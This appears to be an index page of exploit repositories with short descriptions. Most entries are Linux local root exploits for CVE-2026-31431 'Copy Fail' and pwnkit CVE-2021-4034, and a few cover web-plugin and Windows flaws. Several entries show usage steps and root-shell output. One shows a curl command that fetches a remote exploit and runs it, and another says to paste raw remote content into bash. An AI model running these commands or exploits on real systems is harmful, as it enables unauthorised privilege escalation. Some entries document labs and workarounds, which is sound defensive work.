CVE-2026-31431-exploit

CVE-2026-31431 WARNING These Linux LPE exploit implementations are runtime-destructive. They overwrite the live page-cache view of privileged targets such as: su PAM configuration files any file passed into patch mode This is usually not a normal persistent on-disk edit, but it does change runtim...

CVE-2021-4034

CVE-2021-4034 Obviously not original. Reworked it to understand what's going on. Credits to https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt for finding the vuln! Other PoCs that helped me understand the sploitz: https://github.com/berdav/CVE-2021-4034...

CVE-2021-4034

CVE-2021-4034 A simple PWNKIT file to convert you to root. | Only with educational purposes. What is it? Is a pre-maked and pre-zipped PWNKIT. Why? I am working on a script AUTO-PWNKIT to automatic the pwnkit and I will use this repos. AutoPwnkit Tool AutoPwnkit:...

CVE-2021-4034

CVE-2021-4034 Exploit Usage $ git clone https://github.com/whokilleddb/CVE-2021-4034 $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root Rough Patch chmod 0755 which pkexec Note: Yo...

wg.copyfail.patch

CVE-2026-31431 aka Copy.Fail eBPF workaround Why it matters This CVE allows authorized user change cache copy of any readable file, which leads to Local Privilege Escalation aka local root exploit, sandbox/container escape and other issues. It works by creating AFALG socket that is provided by...

CVE-2026-31431

CVE-2026-31431 — Local Privilege Escalation via AFALG 2026-04-29 — I am publishing this exploit one day after sharing it on theMyDigitalLife forum. It does not require Python; it is written in C and compiled to the smallest possible size using: musl-gcc -static -Os -o exploit exploit.c -s Critica...

copy-fail

Copy Fail PoC Proof of concept for CVE=2026-31431 These scripts elevate any regular user to root. Works on most Linux distros and CPUs. Technical writeup at https://copy.fail...

CVE-2021-4034

CVE-2021-4034 One day for the polkit privilege escalation exploit Just execute make, ./cve-2021-4034 and enjoy your root shell. The original advisory by the real authors is here PoC If the exploit is working you'll get a root shell immediately: localuser@ubuntu-poc:/CVE-2021-4034$ make cc -Wall...

CVE-2026-31431

CVE-2026-31431 - Proof-of-Concept Linux algifaead page-cache write to root - Local Privilege Escalation Exploit Writeup https://websec.net/blog/cve-2026-31431-linux-algifaead-page-cache-write-to-root-69f38a4ccddd2db1f520f170 Notes We haven't fully tested yet the PoC, its based on public reference...

CVE-2026-31431-CopyFail-Lab

CVE-2026-31431 "Copy Fail" — Linux Kernel LPE Lab Overview This repository documents a complete lab investigation of CVE-2026-31431 Copy Fail , a high-severity local privilege escalation LPE vulnerability in the Linux kernel's algifaead cryptographic module, disclosed on April 29, 2026. CVSS Scor...

exploit-CVE-2023-3460

title: "IT Security - CVE 2023-38408" Analysis and exploitation of CVE-2023-3460 CVE ID| CVSS Score| Discovered| Affected Plugin| Vulnerability Type ---|---|---|---|--- CVE-2023-3460| | 07/04/2023| Ultimate Member| Unauthorized Admin Access Table of Contents Introduction General vulnerability...

CVE-2026-31431-exploit_py2_py3

CVE-2026-31431-exploitpy2py3 A CVE-2026-31431 script compatible with both Python 2 and Python 3 Usage: python2/3 exploitpy2py3.py escalate Reference from: https://github.com/Sndav/CVE-2026-31431-Advanced-Exploit...

pwnkit-go

Pwnkit-go This is a working exploit for the pwnkit vulnerability, CVE-2021-4034, written in Go Give it a try: create a vulnerable vagrant machine $ make vm ... build the binary and scp it to the vagrant box $ make scp ssh onto the vagrant box $ make ssh The default user is "vagrant"...

CVE-2023-42793_POC

CVE-2023-42793 Exploit Script Overview This script is designed to automate the exploitation process for the CVE-2023-42793 vulnerability. It targets a specific service presumably affected by this vulnerability and attempts to delete a user token, create a new user token, and then create a new use...

CVE-2021-4034

Python3 code to exploit CVE-2021-4034 PWNKIT. This was an exercise in "can I make this work in Python?", and not meant as a robust exploit. It Works For Me, there are problaby bugs. The default payload starts a shell as root, generated from msfvenom: msfvenom -p linux/x64/exec -f elf-so...

blankspace

Blank Space Blank Space is a refactoring of James Forshaw's original proof of concept for CVE-2021-43893, EFSRPC arbitrary file upload privilege escalation. Blank Space can create arbitrary files on a remote host that is using unconstrained delegation if it isn't patched for CVE-2021-43893. File...

CVE-2026-1492

CVE-2026-1492 - WordPress User Registration Plugin Privilege Escalation Exploit Description This repository contains a proof-of-concept exploit for CVE-2026-1492 , a critical vulnerability affecting the WordPress User Registration & Membership plugin. The vulnerability allows unauthenticated...

CVE-2021-4034

CVE-2021-4034 https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt...

CVE-2021-4034

CVE-2021-4034 https://raw.githubusercontent.com/hackingyseguridad/CVE-2021-4034/main/binario Copy the RAW content and paste it into the Bash shell console: CVE-2021-4034 vulnerability, severity 7.8, dated 18/11/2021, in the pkexec component of Polkit https://gitlab.freedesktop.org/polkit/polkit/...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash some usage: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...